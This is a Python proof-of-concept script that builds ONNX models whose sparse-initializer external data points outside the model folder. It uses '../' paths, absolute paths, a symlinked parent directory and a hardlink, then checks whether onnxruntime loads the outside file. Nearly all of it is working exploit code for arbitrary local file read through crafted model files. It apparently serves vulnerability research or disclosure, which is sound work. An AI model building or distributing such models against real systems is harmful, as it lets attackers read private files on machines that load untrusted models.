File size: 5,787 Bytes
57b535c | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 | from __future__ import annotations
import hashlib
import os
import shutil
import subprocess
import sys
from pathlib import Path
import numpy as np
import onnx
import onnxruntime as ort
from onnx import TensorProto, helper, numpy_helper
ROOT = Path(__file__).resolve().parent
MODEL_DIR = ROOT / "model_dir"
OUTSIDE_DIR = ROOT / "outside_dir"
MARKER = b"ORT_SPARSE_INITIALIZER_EXT_READ"
def sha256(path: Path) -> str:
return hashlib.sha256(path.read_bytes()).hexdigest()
def make_external_values(location: str) -> TensorProto:
values = TensorProto()
values.name = "sparse_init"
values.data_type = TensorProto.UINT8
values.dims.append(len(MARKER))
values.data_location = TensorProto.EXTERNAL
values.external_data.add(key="location", value=location)
values.external_data.add(key="offset", value="0")
values.external_data.add(key="length", value=str(len(MARKER)))
return values
def make_model(model_path: Path, location: str) -> None:
values = make_external_values(location)
indices_array = np.arange(len(MARKER), dtype=np.int64).reshape(len(MARKER), 1)
indices = numpy_helper.from_array(indices_array, name="sparse_indices")
sparse = helper.make_sparse_tensor(values, indices, [len(MARKER)])
output = helper.make_tensor_value_info("out", TensorProto.UINT8, [len(MARKER)])
identity_node = helper.make_node("Identity", inputs=["sparse_init"], outputs=["out"])
graph = helper.make_graph(
nodes=[identity_node],
name="sparse_initializer_external",
inputs=[],
outputs=[output],
sparse_initializer=[sparse],
)
model = helper.make_model(
graph,
producer_name="onnx-ort-sparse-initializer-external-poc",
opset_imports=[helper.make_opsetid("", 18)],
)
model.ir_version = 10
onnx.save_model(model, model_path)
def build_cases() -> dict[str, Path]:
for path in (MODEL_DIR, OUTSIDE_DIR):
if path.exists():
shutil.rmtree(path)
path.mkdir(parents=True)
outside_marker = OUTSIDE_DIR / "marker.bin"
outside_marker.write_bytes(MARKER)
(MODEL_DIR / "inside.bin").write_bytes(MARKER)
os.symlink("../outside_dir", MODEL_DIR / "link_parent", target_is_directory=True)
os.link(outside_marker, MODEL_DIR / "hardlink.bin")
cases = {
"inside_regular": "inside.bin",
"dotdot_escape": "../outside_dir/marker.bin",
"absolute_escape": str(outside_marker.resolve()),
"parent_symlink_escape": "link_parent/marker.bin",
"hardlink_escape": "hardlink.bin",
}
paths: dict[str, Path] = {}
for name, location in cases.items():
path = MODEL_DIR / f"{name}.onnx"
make_model(path, location)
paths[name] = path
return paths
def run(code: str, cwd: Path, *args: Path | str) -> subprocess.CompletedProcess[str]:
return subprocess.run(
[sys.executable, "-c", code, *map(str, args)],
cwd=cwd,
text=True,
capture_output=True,
check=False,
timeout=30,
)
def emit(name: str, result: subprocess.CompletedProcess[str]) -> None:
stdout = result.stdout.strip().replace("\n", " | ")
stderr = result.stderr.strip().replace("\n", " | ")
print(f"{name}_rc={result.returncode}")
print(f"{name}_stdout={stdout}")
print(f"{name}_stderr={stderr}")
def main() -> int:
paths = build_cases()
outside_marker = OUTSIDE_DIR / "marker.bin"
print(f"python={sys.version.split()[0]}")
print(f"onnx={onnx.__version__}")
print(f"onnxruntime={ort.__version__}")
print(f"case_dir={ROOT}")
print(f"outside_marker={outside_marker}")
print(f"outside_marker_sha256={sha256(outside_marker)}")
print(f"hardlink_count={os.stat(MODEL_DIR / 'hardlink.bin').st_nlink}")
print(f"hardlink_same_inode={os.stat(MODEL_DIR / 'hardlink.bin').st_ino == os.stat(outside_marker).st_ino}")
checker_code = """
import onnx, sys
onnx.checker.check_model(sys.argv[1])
print("checker_ok")
"""
onnx_load_code = """
import onnx, sys
model = onnx.load(sys.argv[1])
print("load_ok")
"""
ort_code = """
import onnxruntime as ort, sys
sess = ort.InferenceSession(sys.argv[1], providers=["CPUExecutionProvider"])
out = sess.run(None, {})[0]
print(bytes(out.tolist()).decode("ascii", errors="replace"))
"""
ort_bytes_code = """
import onnxruntime as ort, sys
so = ort.SessionOptions()
so.add_session_config_entry("session.model_external_initializers_file_folder_path", sys.argv[2])
data = open(sys.argv[1], "rb").read()
sess = ort.InferenceSession(data, so, providers=["CPUExecutionProvider"])
out = sess.run(None, {})[0]
print(bytes(out.tolist()).decode("ascii", errors="replace"))
"""
hits: list[str] = []
for name, path in paths.items():
print(f"{name}:model={path}")
print(f"{name}:model_sha256={sha256(path)}")
for label, code, cwd, args in [
("onnx_checker", checker_code, MODEL_DIR, [path.name]),
("onnx_load", onnx_load_code, MODEL_DIR, [path.name]),
("ort_file_relative", ort_code, MODEL_DIR, [path.name]),
("ort_file_absolute", ort_code, ROOT, [path]),
("ort_bytes_with_folder", ort_bytes_code, ROOT, [path, MODEL_DIR]),
]:
result = run(code, cwd, *args)
emit(f"{name}_{label}", result)
if name != "inside_regular" and label.startswith("ort_") and result.returncode == 0 and MARKER.decode("ascii") in result.stdout:
hits.append(f"{name}:{label}")
if hits:
print(f"impact=sparse_initializer_external_data_bypass:{','.join(hits)}")
return 0
print("impact=no_sparse_initializer_external_data_bypass")
return 1
if __name__ == "__main__":
raise SystemExit(main())
|